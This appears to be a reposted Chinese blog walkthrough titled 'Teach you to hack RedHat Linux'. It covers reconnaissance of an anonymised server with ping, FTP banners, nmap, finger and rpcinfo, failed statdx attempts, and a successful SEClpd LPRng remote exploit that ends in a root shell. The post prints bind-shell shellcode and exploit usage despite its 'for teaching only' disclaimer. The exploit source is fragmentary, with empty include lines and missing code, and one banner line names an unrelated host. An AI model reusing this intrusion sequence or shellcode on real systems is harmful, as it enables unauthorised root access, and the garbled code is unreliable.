教你入侵RedHat Linux

此文的目的不在于教人入侵,而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白:由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD:网络打印服务的攻击而进行的。

  首先确定目标,假设是: www.XXX.com
  先让俺看看是不是连得上:
      C:\ping www.XXX.com 
Pinging www.XXX.com[202.106.184.200] with 32 bytes of data: 
Reply from 202.106.184.200: bytes=32 time=541ms TTL=244 
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244 
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244 
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244 
Ping statistics for 202.106.184.200: 
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli-seconds: 
Minimum = 511ms, Maximum = 651ms, Average = 580ms
  嘻嘻—不但连得上,速度还不错……
  先telnet看看banner:
  C:\>telnet  www.XXX.com
  遗失对主机的连接。
  再试试ftp,
  C:\>ftp  www.XXX.com
  Connected to  www.fbi.gov.tw.
  220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
  User (www .XXX.com:(none)):
  wu-2.6.1看来有点眉目了。这台机器像是RedHat7.0!首先必须确认一下,连上俺的跳板:
      C:\>telnet xxx.xxx.xxx.xxx 
Red Hat Linux release 7.0 (Guinness) 
Kernel 2.2.16-22smp on an i686 
login: fetdog 
Password: 
bash-2.04$
  拿nmap扫描器,看看其中的奥妙~~~
      bash-2.04$nmap -sT -O www.XXX.com 
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ 
WARNING! The following files exist and are readable: /usr/local/sha 
-services and ./nmap-services. I am choosing /usr/local/share/nmap/ 
s for security reasons. set NMAPDIR=. to give priority to files in 
irectory 
Interesting ports on (www.XXX.com): 
(The 1520 ports scanned but not shown below are in state: closed) 
Port State Service 
25/tcp open smtp 
79/tcp open finger 
80/tcp open http 
111/tcp open sunrpc 
113/tcp open auth 
443/tcp open https 
513/tcp open login 
514/tcp open shell 
515/tcp open printer 
587/tcp open submission 
1024/tcp open kdm 
TCP Sequence Prediction: Class=random positive increments 
Difficulty=3247917 (Good luck!) 
Remote operating system guess: Linux 2.1.122 - 2.2.16 
Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
  打开的端口还挺多,这意味着入侵的可能性增加。79/tcp open finger ,先看看这个,不过linux没有finger用户列表这个漏洞。
  bash-2.04$finger @ www.XXX.com
  [ www.XXX.com]
  No one logged on.
  再看看111/tcp open sunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!
      bash-2.04$rpcinfo -p www.XXX.com  
program vers proto port service 
100000 2 tcp 111 rpcbind 
100000 2 udp 111 rpcbind 
100021 1 udp 1024 nlockmgr 
100021 3 udp 1024 nlockmgr 
100024 1 udp 1025 status 
100024 1 tcp 1024 status
  看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。
      bash-2.04$./statdx -h 
statdx by ron1n 
Usage: stat [-t] [-p port] [-a addr] [-l len] 
[-o offset] [-w num] [-s secs] [-d type] 
-t attack a tcp dispatcher [udp] 
-p rpc.statd serves requests on [query] 
-a the stack address of the buffer is 
-l the length of the buffer is [1024] 
-o the offset to return to is [600] 
-w the number of dwords to wipe is [9] 
-s set timeout in seconds to [5] 
-d use a hardcoded 
Available types: 
0 Redhat 6.2 (nfs-utils-0.1.6-2) 
1 Redhat 6.1 (knfsd-1.4.7-7) 
2 Redhat 6.0 (knfsd-1.2.2-4)
  看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……
      bash-2.04$stat -d 0 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul) 
target: 0xbffff718 new: 0xbffff56c (offset: 600) 
wiping 9 dwords 
Failed - statd returned res_stat: (failure) state: 21
  受挫,再试……
      bash-2.04$stat -d 1 www.XXX.com 
buffer: 0xbffff314 length: 999 (+str/+nul) 
target: 0xbffff718 new: 0xbffff56c (offset: 600) 
wiping 9 dwords 
Failed - statd returned res_stat: (failure) state: 21
  一样!继续……
      bash-2.04$stat -d 1 www.XXX.com 
buffer: 0xbffff314 length: 999 (+str/+nul) 
target: 0xbffff718 new: 0xbffff56c (offset: 600) 
wiping 9 dwords 
Failed - statd returned res_stat: (failure) state: 21
  rpc.statd行不通,想想RH7应该有个远程溢出,好像是lp服务造成的。“seclpd.c”应该是这个东东了。
  ————— 以下代码仅供教学使用,决不能用来进行恶意攻击—————
     /* 
* Welcome to http://hlc.cnroot.com/ 
* Run: ./SEClpd victim brute -t type 
* Try first ./SEClpd victim -t 0 then try the brute. 
*/ 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define ADDRESS_BUFFER_SIZE 32+4 
#define APPEND_BUFFER_SIZE 52 
#define FORMAT_LENGTH 512-8 
#define NOPCOUNT 200 
#define SHELLCODE_COUNT 1030 
#define DELAY 50000 /* usecs */ 
#define OFFSET_LIMIT 5000 
char shellcode[] = 
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" 
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" 
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" 
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" 
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" 
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" 
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" 
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" 
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
  brute暴力破解。等上5-8分钟左右,结果出来了。
      - [+] shell located on www.XXX.com 
- [+] Enter Commands at will 
Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown 
uid=0(root) gid=7(lp)
  uid=0(root权限),现在可以近一步入侵!但不要做坏事!


















本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/437814 ,如需转载请自行联系原作者
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值